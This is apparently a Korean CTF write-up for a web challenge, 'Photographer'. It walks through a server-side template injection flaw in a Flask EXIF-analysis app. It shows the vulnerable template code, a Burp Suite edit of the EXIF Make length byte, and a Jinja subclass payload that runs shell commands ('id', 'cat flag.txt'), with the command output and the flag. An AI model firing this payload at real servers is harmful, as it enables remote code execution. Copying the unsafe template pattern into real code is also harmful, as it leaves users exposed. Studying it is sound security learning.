



Photographer

Made by smart_kang

취약점 : SSTI

Image Analysis

<http://web.isangxcaution.xyz:20200/>



```
def thumbnailTemplate(thumbnail,camera_info,tags):
    template = '''
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <title>Image Analysis</title>
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-GLhTQ8iRABdZLl603oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    </head>
    <body>
        <div class="container text-center" >
            <h1> Did you know that your image has sensitive information? </h1>
            

            <h4 class="mt-3">
                Your Camera is <u>{</u>} right?
            </h4>
            <hr>

            <h3> More Exif metadata </h3>
            <table class="table table-striped">
                <thead>
                    <tr>
                        <th scope="col">Key</th>
                        <th scope="col">Value</th>
                    </tr>
                </thead>
                <tbody>
                    {% for key,value in tags.items() %}
                    <tr>
                        <td>{{{ key }}}</td>
                        <td>{{{ value }}}</td>
                    </tr>
                    {% endfor %}
                </tbody>
            </table>
        </div>
    </body>
    ''' .format(thumbnail,camera_info)

    return render_template_string(template,tags=tags)
```

thumbnail,camera_info가 사용자가 전송한 exif 정보를 토대로 그대로 template에 들어간다. 따라서 2개의 값을 통해서 SSTI 취약점이 발생 가능한지 확인해야 한다.

1. thumbnail

a. thumbnail 정보는 다음과 같이 처리되어 들어간다.

```
if 'JPEGThumbnail' in tags.keys():
    thumbnail = tags['JPEGThumbnail']
    thumbnail = base64.b64encode(thumbnail).decode()
```

exif 정보가 그대로 들어가는게 아닌, base64인코딩을 거친 다음, 템플릿 안으로 들어가게 된다.

base64인코딩은 그 특성상 결과값으로 '{,'}' 가 입력될 수 없기 때문에 thumbnail 변수로는 ssti 취약점을 이용할 수 없다.

2. camera_info

a. camera_info 정보는 다음과 같이 처리되어 들어간다.

```
if 'Image Make' in tags.keys() and 'Image Model' in tags.keys():
    camera_info = str(tags['Image Make']) + ' ' + str(tags['Image Model'])
```

exif 정보에서 Image Make 정보와, Image Model 정보를 추출하여 그 두 가지 값을 이어붙여서 템플릿 안으로 들어간다. 따라서 Image Make, Image Model 정보를 이미지에서 임의로 변경하여 SSTI 취약점을 발생시킬 수 있다.

Exploit

패킷을 변조시켜야 하기 때문에 burpsuite에서 문제에서 제시된 이미지를 제출한다.

패킷을 캡쳐한 다음, 지속적으로 패킷을 변조시키면서 테스트를 해야 하기 때문에 burpsuite의 repeater 기능을 이용한다.

The screenshot shows the Burp Suite interface with the Repeater tab selected. In the Request pane, a POST request is shown with various headers and a file named 'img.jpg'. The file content is a modified EXIF header, specifically the 'Exif_JPEG_PICTURE' section, which contains the string 'RICOH G700 SE HHG700SE'. The Response pane shows the raw image data. The Inspector pane on the right lists Request Attributes, Request Query Parameters, Request Body Parameters, Request Cookies, and Request Headers.

공격포인트인 Image Make, Image Model 정보는 다음에 보이는 것처럼 보인다.

```
ÿØÿáXEEifMM@¶ö(1'22□□F□i4□%rÃ¥ö` 'Exif_JPEG_PICTURE
RICOH          G700 SE          HHG700SE
Firmware2012:10:24 09:13:42          PrintIM0300d
Ã¤□ ' '□' ''E'â'□□□□□□'□'@□0221□□□□@□□Ã¤□È□
ö□
```

이때, 주의해야 할 점은 exif 정보에서 파일 시그니처 정보로 Image Make, Image Model 정보의 길이가 byte로 저장되어 있다. 관련된 정보는 다음과 같다.

Tag number used by Exif/TIFF

Exif/TIFF에서 사용되는 태그는 아래와 같다. 태그의 컴포넌트 개수에 최대값 제한이 있다면 CompoNo열에 표시되어 있으며, 이 값이 없으면 개수 제한은 없다.

| Tags used by IFD0 (main image) | | | | |
|--------------------------------|------------------|--------------|----------|---|
| Tag No. | Tag Name | Format | CompoN o | Desc. |
| 0x010e | ImageDescription | ascii string | | 이미지 설명. 중국어/한국어/일본어 등의 2바이트 문자는 사용할 수 없다. |
| 0x010f | Make | ascii string | | 디지털 카메라의 제조사. Exif표준에서 이 항목은 선택적이나 DCF명세에서는 필수항목이다. |
| 0x0110 | Model | ascii string | | 디지털 카메라의 모델명. Exif표준에서 이 항목은 선택적이나 DCF명세에서는 필수항목이다. |

[Value] [0th Row] [0th Column]

0x010f 다음에 오는 바이트 정보에 길이 정보가 포함되어 있다. 이를 변경 하기 위해서 burpsuite에서 해당 부분을 찾는다. 010f로 보이는 부분이 있고 뒤에있는 0c부분이 Image Make부분의 길이를 결정짓는 정보이므로 이를 넉넉하게 90정도로 바꾼다.

```
70 65 5a 20 04 00 01 01 07 00 21 0a 70 65 01 0d ua pe - image/jpeg
0d 0a ff d8 ff e1 58 45 45 78 69 66 00 00 4d 4d y0 yáXExif MM
00 2a 00 00 00 08 00 0e 01 0e 00 02 00 00 00 40 * █ █ █ @
00 00 00 b6 01 0f 00 02 00 00 0c 00 00 00 f6 █ █ █ ♀ ö
01 10 00 02 00 00 00 10 00 00 01 02 01 12 00 03 █ █ + █ r↑ L
00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 r r r↑ | r
```

```
00000350 00 2a 00 00 00 08 00 0e 01 0e 00 02 00 00 00 40 * █ █ █ @
00000360 00 00 00 b6 01 0f 00 02 00 00 90 00 00 00 f6 █ █ █ □ ö
00000370 01 10 00 02 00 00 00 10 00 00 01 02 01 12 00 03 █ █ + █ r↑ L
```

이제 Image Make 부분을 이용해서 SSTI 공격을 시작한다.

```
{{'__class__.__mro__[1].__subclasses__()[410]('id', shell=True, stdout=-1).communicate()}}
# 쉘을 실행시킬 수 있다.
```

```
[[{"__class__.__mro__[1].__subclasses__()[410]('id', shell=True, stdout=-1).communicate()"}]
G700 SE HHG700SE Firmware2012:10:24 09:13:42
PrintIM0300d
20 " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " "
21 " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " "
22 " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " "
23 " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " "
24 " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " "
NIW$Z< A
```

```
https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css'
rel='stylesheet' integrity='sha384-GLhTQ8iRABdZL1603oVMWSktQ0p6b7In1Z13/Jr59b6EGGo11aFkw7cmDA6j6gD'
crossorigin='anonymous'
</head>
<body>
<div class='container text-center' >
<h1>
Did you know that your image has sensitive information?
</h1>
<img src='data:image/jpeg;base64,' alt='No Thumbnail Image'>
<h4 class='mt-3'>
Your Camera is <u>
(b&#39;uid=1000(ixc) gid=1000(ixc)&n&#39;, None)
</u>
right?
```

```
{{'__class__.__mro__[1].__subclasses__()[410]('cat flag.txt', shell=True, stdout=-1).communicate()}}
# 플래그 획득 가능
```

```
13 <link href='
https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css'
rel='stylesheet' integrity='
sha384-GLhTQ8iRABdZL1603oVMWSktQ0p6b7In1Z13/Jr59b6EGGo1aFkw7cmDA6j6gd'
crossorigin='anonymous'>
14 </head>
15 <body>
16   <div class='container text-center' >
17     <h1>
18       Did you know that your image has sensitive information?
19     </h1>
20     <img src='data:image/jpeg;base64,' alt='No Thumbnail Image'>
21
22     <h4 class='mt-3'>
23       Your Camera is <u>
24         (b3_awar3_0f_sst1_wh3n_us3_t3mplate)</u>, None)
25         _._.mro__[1]._
26     </u>
27     right?
28   </h4>
```

FLAG : IxC{B3_awar3_0f_sst1_wh3n_us3_t3mplate}